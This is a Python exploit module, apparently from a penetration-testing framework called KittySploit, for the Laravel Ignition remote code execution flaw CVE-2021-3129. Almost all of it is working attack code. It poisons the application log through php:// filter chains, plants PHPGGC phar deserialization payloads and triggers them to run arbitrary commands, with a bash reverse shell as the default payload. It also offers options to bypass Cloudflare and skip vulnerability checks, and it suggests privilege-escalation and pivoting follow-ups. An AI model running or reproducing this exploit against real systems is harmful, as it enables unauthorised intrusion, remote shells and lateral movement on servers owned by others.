Laravel Ignition RCE (CVE-2021-3129)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pathlib import Path

from kittysploit import *
from lib.exploits.laravel.ignition import (
    build_solution_payload,
    extract_execution_output,
    find_laravel_version,
    find_log_path,
    ignition_headers,
    ignition_path,
    is_patched_response,
    version_gte,
)
from lib.exploits.laravel.phpggc_chains import LARAVEL_PHPGGC_CHAINS, build_phpggc_argv
from lib.exploits.php.phpggc import Phpggc, encode_phar_for_log_injection
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Laravel Ignition RCE (CVE-2021-3129)",
        "description": (
            "Exploits CVE-2021-3129 in Laravel Ignition via log poisoning and PHPGGC "
            "deserialization chains to execute arbitrary system commands."
        ),
        "author": ["joshuavanderpoll", "KittySploit Team"],
        "cve": "CVE-2021-3129",
        "platform": Platform.MULTI,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://github.com/joshuavanderpoll/CVE-2021-3129",
            "https://github.com/ambionics/phpggc",
            "https://nvd.nist.gov/vuln/detail/CVE-2021-3129",
        ],
        "tags": ["laravel", "ignition", "php", "rce", "deserialization", "log-poisoning"],
        "optional_dependencies": ["cloudscraper"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 12,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    FILTER_CLEAR = (
        "php://filter/write=convert.iconv.utf-8.utf-16le"
        "|convert.quoted-printable-encode"
        "|convert.iconv.utf-16le.utf-8"
        "|convert.base64-decode/resource="
    )
    FILTER_CONVERT = (
        "php://filter/read=convert.quoted-printable-decode"
        "|convert.iconv.utf-16le.utf-8"
        "|convert.base64-decode/resource="
    )
    CHAINS = LARAVEL_PHPGGC_CHAINS

    base_path = OptString("/", "Laravel application base path", required=False)
    log_path = OptString("", "Full path to laravel.log (auto-detected when possible)", required=False)
    force = OptBool(False, "Bypass vulnerability checks", required=False, advanced=True)
    private_key = OptString("", "X-BYPASS-TOKEN for patched hosts (private patch mode)", required=False)
    php_executable = OptString("php", "Path to PHP executable (for PHPGGC)", required=False)
    chain = OptString("", "PHPGGC chain (empty = try all chains)", required=False, advanced=True)
    command = OptString("", "Command to execute (overrides payload)", required=False)
    cloudflare = OptBool(False, "Use cloudscraper to bypass Cloudflare", required=False, advanced=True)
    try_all_chains = OptBool(True, "Try every PHPGGC chain until one succeeds", required=False, advanced=True)
    marker = OptString("KS3129", "Marker for vulnerability check", required=False, advanced=True)

    def __init__(self, framework=None):
        super().__init__(framework)
        self._resolved_log_path = None

    def _maybe_cloudscraper(self):
        if not self.cloudflare:
            return
        try:
            import cloudscraper  # pylint: disable=import-outside-toplevel
        except ImportError:
            print_warning("cloudscraper not installed; continuing without Cloudflare bypass")
            return
        self.session = cloudscraper.create_scraper(
            browser={"browser": "chrome", "platform": "windows", "mobile": False}
        )

    def _laravel_log_path(self) -> str:
        if self._resolved_log_path:
            return self._resolved_log_path
        manual = str(self.log_path or "").strip()
        return manual

    def _headers(self, extra=None):
        return ignition_headers(
            user_agent=self.session.headers.get("User-Agent"),
            private_key=str(self.private_key or ""),
            extra=extra,
        )

    def _phpggc(self) -> Phpggc:
        return Phpggc(
            php_executable=str(self.php_executable or "php"),
            user_agent=self.session.headers.get("User-Agent") or "KittySploit",
            timeout=max(int(self.timeout or 10), 10),
            session=self.session,
        )

    def _exploit_request(self, view_file: str):
        return self.http_request(
            method="POST",
            path=ignition_path(str(self.base_path or "/")),
            json=build_solution_payload(view_file),
            headers=self._headers({"Content-Type": "application/json", "Accept": "*/*"}),
            timeout=max(int(self.timeout or 10), 10),
        )

    def _detect_log_path(self, response) -> bool:
        log_path, _, _ = find_log_path(response.content or b"")
        if log_path:
            self._resolved_log_path = log_path
            return True
        return bool(self._laravel_log_path())

    def check_vulnerability(self):
        response = self.http_request(
            method="GET",
            path=ignition_path(str(self.base_path or "/")),
            headers=self._headers(),
            timeout=max(int(self.timeout or 10), 10),
        )
        if not response:
            return False, "No response from ignition endpoint"

        text = response.text or ""
        if response.status_code == 403 and "Exploit patched" in text:
            return False, "Host patched via index.php guard"

        if is_patched_response(text):
            return False, "Ignition runnable solutions disabled on target"

        if response.status_code != 405 and not self.force:
            return False, f"Ignition endpoint returned HTTP {response.status_code}, expected 405"

        body = response.content or b""
        if b"laravel" not in body and "laravel" not in text.lower() and not self.force:
            return False, "Response does not look like Laravel Ignition"

        laravel_version = find_laravel_version(text) or ""
        if laravel_version and not self.force and version_gte(laravel_version, "8.4.2"):
            return False, f"Laravel {laravel_version} appears patched (>= 8.4.2)"

        if not self._detect_log_path(response) and not self.force:
            return False, "Could not determine laravel.log path; set log_path option"

        return True, "Laravel Ignition execute-solution endpoint exposed"

    def _generate_payloads(self, cmd: str):
        chain_opt = str(self.chain or "").strip().lower()
        chains = self.CHAINS if not chain_opt else [chain_opt]
        phpggc = self._phpggc()

        def build_argv(chain_name, _output):
            return build_phpggc_argv(
                str(self.php_executable or "php"),
                phpggc.binary_path,
                chain_name,
                cmd,
            )

        payloads = []
        for item in phpggc.generate_phar_files(chains, build_argv):
            raw = Path(item["path"]).read_bytes()
            payloads.append({
                "name": item["name"],
                "data": encode_phar_for_log_injection(raw),
            })
        return payloads

    def _exploit_execute(self, payload: str):
        log_path = self._laravel_log_path()
        if not log_path:
            return False, "log_path not set"

        self._exploit_request(f"{self.FILTER_CLEAR}{log_path}")
        cause = self._exploit_request("AA")
        if not cause or cause.status_code != 500:
            self._exploit_request(f"{self.FILTER_CLEAR}{log_path}")
            return False, "Failed causing error in logs"

        sent = self._exploit_request(payload)
        if not sent or sent.status_code != 500:
            self._exploit_request(f"{self.FILTER_CLEAR}{log_path}")
            return False, "Failed sending payload to log"

        convert = self._exploit_request(f"{self.FILTER_CONVERT}{log_path}")
        if not convert or convert.status_code != 200:
            self._exploit_request(f"{self.FILTER_CLEAR}{log_path}")
            return False, "Failed converting payload in log file"

        exploited = self._exploit_request(f"phar://{log_path}")
        if not exploited:
            self._exploit_request(f"{self.FILTER_CLEAR}{log_path}")
            return False, "No response during phar execution"

        ok, output = extract_execution_output(exploited)
        self._exploit_request(f"{self.FILTER_CLEAR}{log_path}")
        self._exploit_request(f"{self.FILTER_CLEAR}{log_path}")
        return ok, output

    def _exec(self, cmd: str):
        ok, reason = self.check_vulnerability()
        if not ok and not self.force:
            return False, "", reason

        payloads = self._generate_payloads(cmd)
        if not payloads:
            return False, "", "Failed to generate PHPGGC payloads (is PHP installed?)"

        chain_opt = str(self.chain or "").strip().lower()
        try_all = bool(self.try_all_chains) and not chain_opt
        last_error = ""

        for payload in payloads:
            success, output = self._exploit_execute(payload["data"])
            if success:
                return True, output, payload["name"]
            last_error = output or "chain failed"
            if not try_all:
                break

        return False, "", last_error or "All chains failed"

    def check(self):
        ok, reason = self.check_vulnerability()
        if not ok:
            return {"vulnerable": False, "reason": reason, "confidence": "low"}

        marker = str(self.marker or "KS3129")
        success, output, chain_name = self._exec(f"echo {marker}")
        if success and marker in (output or ""):
            return {
                "vulnerable": True,
                "reason": f"Marker executed via chain {chain_name}",
                "confidence": "high",
            }

        return {
            "vulnerable": True,
            "reason": f"Ignition exposed but marker probe failed: {output or reason}",
            "confidence": "medium",
        }

    def run(self):
        self._maybe_cloudscraper()

        cmd = str(self.command or "").strip()
        if not cmd:
            raw = self.payload
            if isinstance(raw, bytes):
                cmd = raw.decode("utf-8", errors="ignore")
            else:
                cmd = str(raw or "").strip()

        if not cmd:
            print_error("No command provided and payload generation failed")
            return False

        print_info(f"Executing command: {cmd}")
        success, output, chain_name = self._exec(cmd)
        if not success:
            print_error(output or "Exploitation failed")
            self.not_vulnerable()
            return False

        print_success(f"Command executed via chain {chain_name or 'unknown'}")
        if output:
            print_info(f"Output:\n{output}")
        self.vulnerable()
        return True